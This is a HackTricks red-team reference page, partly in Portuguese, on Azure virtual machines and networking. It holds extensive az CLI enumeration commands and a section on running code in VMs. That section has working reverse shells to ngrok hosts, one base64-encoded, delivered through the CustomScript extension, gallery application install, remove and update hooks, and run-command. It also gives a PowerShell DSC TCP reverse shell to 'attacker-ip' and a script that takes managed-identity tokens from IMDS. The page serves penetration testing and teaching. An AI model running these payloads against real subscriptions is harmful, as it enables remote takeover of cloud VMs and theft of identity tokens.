Az - Virtual Machines & Network

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Azure Networking Basic Info

Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. Elas permitem implantar applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.

Security Configurations

  • Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
  • Security Type:
  • Standard Security: This is the default security type that does not require any specific configuration.
  • Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
  • Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
  • VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
  • It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
  • NIC network security group:
  • None: Basically opens every port
  • Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Select a security group
  • Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
  • Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
  • Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: By default check protocol HTTP in port 80
  • Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
  • Most VM related resources also support locks like disks, snapshots…
  • Locks can also be applied at resource group and subscription levels

Disks & snapshots

  • It’s possible to enable to attach a disk to 2 or more VMs
  • By default every disk is encrypted with a platform key.
  • Same in snapshots
  • By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
  • Same in snapshots
  • It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
  • Same in snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Uma VM image é um template que contém o sistema operacional, as configurações de aplicação e o filesystem necessários para create a new virtual machine (VM). A diferença entre uma image e um disk snapshot é que um disk snapshot é uma cópia read-only, point-in-time, de um único managed disk, usada principalmente para backup ou troubleshooting, enquanto uma image pode conter multiple disks and is designed to serve as a template for creating new VMs.
Images podem ser gerenciadas na Images section do Azure ou dentro de Azure compute galleries, o que permite gerar versions e share a image cross-tenant ou até torná-la public.

A restore point armazena a configuração da VM e point-in-time application-consistent snapshots of all the managed disks anexados à VM. Ela está relacionada à VM e seu propósito é permitir restaurar essa VM para como ela estava naquele ponto específico.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Da docs: Site Recovery ajuda a garantir a continuidade do negócio mantendo os aplicativos e workloads de negócios em execução durante interrupções. O Site Recovery replica workloads em execução em máquinas físicas e virtuais (VMs) de um site primário para uma localização secundária. Quando ocorre uma interrupção no site primário, você faz failover para uma localização secundária e acessa os aplicativos de lá. Depois que a localização primária volta a funcionar, você pode fazer fail back para ela.

Azure Bastion

Azure Bastion permite acesso seguro e contínuo via Remote Desktop Protocol (RDP) e Secure Shell (SSH) às suas máquinas virtuais (VMs) diretamente pelo Azure Portal ou por meio de um jump box. Ao eliminar a necessidade de endereços IP públicos nas suas VMs.

O Bastion implanta uma subnet chamada AzureBastionSubnet com uma netmask /26 na VNet em que precisa operar. Em seguida, ele permite conectar-se a VMs internas através do browser usando RDP e SSH, evitando expor portas das VMs à Internet. Ele também pode funcionar como um jump host.

Para listar todos os Azure Bastion Hosts na sua subscription e conectar-se às VMs através deles, você pode usar os seguintes comandos:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

O Azure Instance Metadata Service (IMDS) fornece informações sobre instâncias de máquinas virtuais em execução para ajudar em sua gestão e configuração. Ele oferece detalhes como o SKU, storage, configurações de rede e informações sobre próximos eventos de maintenance por meio de REST API disponível no endereço IP não roteável 169.254.169.254, acessível apenas de dentro da VM. A comunicação entre a VM e o IMDS permanece dentro do host, garantindo acesso seguro. Ao consultar o IMDS, os clientes HTTP dentro da VM devem contornar web proxies para garantir a comunicação adequada.

Além disso, para contatar o metadata endpoint, a requisição HTTP deve ter o header Metadata: true e não deve ter o header X-Forwarded-For.

Ao solicitar um access token para o metadata endpoint, por padrão o metadata service usará a system assigned managed identity para gerar o token, se houver alguma system assigned managed identity. No caso de haver apenas UMA user assigned managed identity, então ela será usada por padrão. Porém, no caso de não haver system assigned managed identity e existirem múltiplas user assigned managed identities, então o metadata service retornará um erro indicando que há múltiplas managed identities e que é necessário especificar qual usar.

Veja como enumerá-lo em:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Execução de Código em VMs

VM Extensions

Azure VM extensions são pequenos applications que fornecem post-deployment configuration e tarefas de automation em Azure virtual machines (VMs).

Isso permitiria executar arbitrary code dentro de VMs.

A permission necessária é Microsoft.Compute/virtualMachines/extensions/write.

É possível listar todas as extensions disponíveis com:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

É possível executar extensões personalizadas que executam código personalizado:

  • Execute um revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Executar um script localizado na internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Extensões de VM relevantes

A permissão necessária ainda é Microsoft.Compute/virtualMachines/extensions/write.

Extensão VMAccess

Esta extensão permite modificar a senha (ou criar, se ela não existir) de usuários dentro de VMs Windows.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Esta é uma VM extension da Microsoft que usa PowerShell DSC para gerenciar a configuração de Azure Windows VMs. Portanto, ela pode ser usada para executar comandos arbitrários em Windows VMs por meio desta extension:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Esta é uma extensão de VM que permitiria executar runbooks em VMs a partir de uma automation account. Para mais informações, consulte o Automation Accounts service.

VM Applications

Estes são pacotes com todos os dados da application e scripts de install e uninstall que podem ser usados para adicionar e remover facilmente application em VMs.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Estas são as paths onde as applications são baixadas dentro do file system:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Confira como instalar new applications em https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

É possível share applications individuais e galleries com outras subscriptions ou tenants. Isso é muito interessante porque pode permitir que um attacker coloque um backdoor em uma application e faça pivot para outras subscriptions e tenants.

Mas não existe um “marketplace” para vm apps como existe para extensions.

As permissions required são:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Exemplo de exploitation para executar arbitrary commands:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Dados do usuário

Este é dados persistentes que podem ser recuperados do endpoint de metadata a qualquer momento. Note que no Azure os dados do usuário são diferentes de AWS e GCP porque se você colocar um script aqui ele não é executado por padrão.

Dados personalizados

É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:

  • No Windows o dados personalizados é colocado em %SYSTEMDRIVE%\AzureData\CustomData.bin como um arquivo binário e ele não é processado.
  • No Linux ele era armazenado em /var/lib/waagent/ovf-env.xml e agora é armazenado em /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados
  • cloud-init: Por padrão ele processa dados personalizados e esses dados podem estar em vários formatos. Ele pode executar um script facilmente enviando apenas o script nos dados personalizados.
  • Eu testei que tanto Ubuntu quanto Debian executam o script que você colocar aqui.
  • Também não é necessário habilitar user data para que isso seja executado.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

Este é o mecanismo mais básico que o Azure fornece para executar comandos arbitrários em VMs. A permissão necessária é Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

As VMs do Azure expõem endpoints internos da plataforma que são usados para configuração, obtenção de metadata e gerenciamento de identidade. Entender a diferença entre eles é crítico para enumeration, privilege escalation e post-exploitation.

Wire Server (Azure Fabric Endpoint)

O Azure WireServer é um IP interno do Azure (168.63.129.16) usado pela plataforma para se comunicar com a VM.

Ele é responsável por:

  • Comunicação com o VM Agent
  • Entrega de:
  • GoalState
  • ExtensionsConfig
  • Configuração interna da VM (incluindo identities)
  • Serviços DHCP & DNS
  • Monitoramento de integridade

GoalState & ExtensionsConfig

O GoalState representa a configuração desejada da VM conforme definida pelo Azure. Ele pode incluir:

  • Configuração de extensions
  • Managed identities
  • Estado de provisionamento
  • Instruções do agent

O ExtensionsConfig contém a configuração detalhada das VM extensions e pode incluir:

  • User Assigned Managed Identities
  • Configurações da extension
  • Secrets (dependendo da extension)

Esses endpoints normalmente são acessados via:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Considerações de acesso

O IP do WireServer geralmente é acessível de dentro da VM através da guest network stack. Ele não é restrito apenas ao Azure VM Agent, Run Command, ou VM extensions. A Microsoft até documenta exemplos de provisionamento Linux sem agent em que scripts comuns dentro da guest consultam diretamente o GoalState a partir de 168.63.129.16.

No entanto, nem todo processo necessariamente terá o mesmo resultado prático:

  • Alguns endpoints exigem headers específicos do Azure, como x-ms-version: 2012-11-30 para GoalState.
  • Controles locais da guest podem bloquear ou alterar o acesso, incluindo regras de host firewall, proxies, routes, network namespaces, containers, ou endpoint protection.
  • VM extensions e Run Command normalmente executam como root/SYSTEM através do VM Agent, então podem contornar restrições locais do SO que afetam um usuário interativo.
  • Alguns dados são específicos do agent/extension e podem depender do provisioning state da VM, do agent instalado, das extensions configuradas, ou da configuração de managed identity.

Portanto, se uma request funciona no Run Command mas falha via SSH, a explicação usual é uma diferença de usuário do SO, environment, routing, proxy, firewall, ou namespace, não uma regra geral do Azure de que apenas contexts de execução do agent conseguem alcançar 168.63.129.16.

Em testes de laboratório essa distinção ficou visível: a execução do Linux/Windows VM Agent via Run Command ou Custom Script extensions conseguia alcançar o GoalState em 168.63.129.16, enquanto uma sessão SSH normal em outra VM Linux ainda conseguia alcançar o IMDS, mas dava timeout ao consultar o GoalState. Trate WireServer/GoalState como útil, porém dependente do environment; não confie nele como a forma canônica de enumerar managed identities.

Acesso a Managed Identity de dentro da VM

A forma confiável de usar as managed identities de uma VM é o IMDS managed identity endpoint em 169.254.169.254, não o XML ExtensionsConfig do WireServer. Scripts que procuram apenas por nós UserAssignedIdentity em ExtensionsConfig não são confiáveis porque:

  • A atribuição de managed identity da VM não tem garantia de estar representada como nós UserAssignedIdentity no XML da extension.
  • Eles não encontram system-assigned managed identities.
  • Eles só encontram user-assigned identities se o GoalState/extension data atual por acaso expuser a forma esperada do XML.

O modelo de segurança documentado pela Microsoft é que todo code executando na VM pode solicitar tokens para as managed identities disponíveis nessa VM. Isso foi confirmado a partir de:

  • Linux SSH como um usuário comum da VM.
  • Linux Run Command através do VM Agent.
  • Linux Custom Script extension através do VM Agent.
  • Windows Custom Script extension como NT AUTHORITY\SYSTEM.

Em todos esses contexts, o IMDS conseguiu emitir tokens para Management, Microsoft Graph/Entra ID, Key Vault e Storage quando a identity solicitada estava disponível para a VM.

Existem dois problemas diferentes que são fáceis de confundir:

  • Obter um token para uma identity conhecida: Se a identity estiver atribuída à VM, o IMDS pode emitir tokens para diferentes audiences como https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, e https://storage.azure.com/. Se existirem várias user-assigned identities, solicite uma específica com client_id, object_id, ou msi_res_id.
  • Descobrir toda identity anexada de dentro da VM: O IMDS não fornece um endpoint simples de “listar todas as identities”. Um método prático é obter um token padrão de Management, ler o recurso da VM através do ARM, e inspecionar a propriedade identity. Isso só funciona se essa managed identity tiver permissões como Microsoft.Compute/virtualMachines/read na VM. Se o ARM retornar 403, o token ainda pode ser válido e útil, mas não pode enumerar a lista completa de identities da VM.

Se a descoberta via ARM falhar, você ainda pode tentar fontes do WireServer/HostGAPlugin como GoalState e http://168.63.129.16:32526/vmSettings para procurar campos com aparência de identity (clientId, IdentityClientId, msi_res_id, resource IDs de user-assigned identity) e então pedir tokens ao IMDS com esses selectors. Isso é um fallback, não uma garantia: esses endpoints dependem do context e podem não expor nenhum selector de managed identity.

Os exemplos a seguir primeiro solicitam um token. Depois tentam ler o recurso da VM do Azure Resource Manager e imprimir sua propriedade identity. A segunda etapa só funciona se a managed identity tiver permissões como Microsoft.Compute/virtualMachines/read na VM.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Escalada de Privilégios

Az - Virtual Machines & Network Privesc

Acesso Não Autenticado

Az - VMs Unauth

Pós-Exploitation

Az - VMs & Network Post Exploitation

Persistência

Az - VMs Persistence

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks